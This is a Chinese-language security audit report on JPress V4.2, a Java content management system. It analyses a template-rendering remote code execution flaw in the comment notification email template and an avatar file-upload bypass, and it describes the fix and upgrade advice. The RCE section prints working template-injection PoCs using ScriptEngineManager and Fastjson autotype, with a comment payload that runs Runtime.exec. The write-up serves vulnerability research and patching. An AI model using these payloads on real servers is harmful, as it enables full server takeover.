jpress代码审计分享
字数 1395 2025-08-26 22:11:45
JPress V4.2 代码审计报告
0x01 前言
JPress是一个基于Java开发的类似WordPress的内容管理系统,使用jBoot框架(类似于SpringBoot)。本文档将详细分析JPress V4.2版本中的安全漏洞,包括模板渲染引起的RCE漏洞和前台任意文件上传漏洞。
0x02 环境搭建
环境准备
- 项目地址:https://github.com/JPressProjects/jpress
- 下载V4.2版本
- 执行命令:
mvn clean package
常见问题解决:
- 遇到
maven-jar-plugin执行失败时,删除maven仓库所有库后重新执行 - 创建数据库时不需导入文件或修改配置
- 安装完成后访问:http://localhost:8080/install
- 端口修改:在undertow.txt中修改
0x03 代码审计
架构理解
- 分为前台页面和后台管理界面
- 前台页面为纯前端内容
- 后台管理界面漏洞点较多
- 需要在"模板"→"所有模板"中选择模板才能在前台看到漏洞回显
组件审计
- 查看pom.xml发现使用最新版本组件,理论上不存在组件漏洞
- 项目中不存在Filter,可能存在SQL注入或XSS漏洞
- 多module结构,需对不同功能模块分别审计
模板渲染引起的RCE漏洞
影响接口
- /admin/article/setting
- /admin/page/setting
- /admin/product/setting
- /admin/template/edit
漏洞分析
- 触发点:文章评论功能中的"评论邮件通知管理员"模板
- 使用Velocity模板引擎,支持
#(comment.id)等表达式 - 相关类:
io.jpress.module.article.controller.front.ArticleController - 关键方法:
postComment()→notify()→doSendEmail()
调用栈:
eval:81, Method (com.jfinal.template.expr.ast)
assignVariable:102, Assign (com.jfinal.template.expr.ast)
eval:95, Assign (com.jfinal.template.expr.ast)
exec:57, Set (com.jfinal.template.stat.ast)
exec:68, StatList (com.jfinal.template.stat.ast)
render:74, Template (com.jfinal.template)
renderToString:91, Template (com.jfinal.template)
doSendEmail:91, ArticleNotifyKit (io.jpress.module.article.kit)
漏洞利用
初始PoC(存在引号问题):
#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager"))
#set(e=x.getEngineByName("js"))
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))
改进PoC(利用Fastjson特性):
#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem))
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js))
#(e.eval(str))
评论内容payload:
javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc")
漏洞修复(V5.0.5版本)
- 在
getPara()方法处进行转义处理 - 调用
escapeHtml()→replaceEach()方法转义恶意字符 - 调用栈:
cleanXss:79, XSSHttpServletRequestWrapper (io.jboot.web.xss) getParameter:32, XSSHttpServletRequestWrapper (io.jboot.web.xss) getParameter:161, ServletRequestWrapper (javax.servlet) getPara:189, Controller (com.jfinal.core) postComment:148, ArticleController (io.jpress.module.article.controller.front)
前台任意文件上传漏洞
影响接口
- /ucenter/avatar
漏洞分析
- 相关类:
io.jpress.web.commons.controller.AttachmentController#upload - 根本原因:允许上传file[]数组而非单个文件,可构造多个文件同时上传绕过检测
- 上传路径:/attachment文件夹
- 限制:上传jsp/jspx会被JFinalFilter拦截
漏洞利用
通过上传多个文件,使后续文件绕过恶意文件检测
总结
- 模板渲染RCE漏洞危害严重,可导致服务器完全沦陷
- 文件上传漏洞虽有限制但仍存在风险
- 建议升级到最新版本(V5.0.5及以上)
- 开发时应严格过滤用户输入,特别是模板渲染和文件上传功能
附录
相关技术点
- Velocity模板引擎语法
- Fastjson反序列化特性
- Java反射机制
- 文件上传安全防护
参考链接
- JPress官方GitHub仓库
- Velocity模板引擎文档
- Fastjson安全公告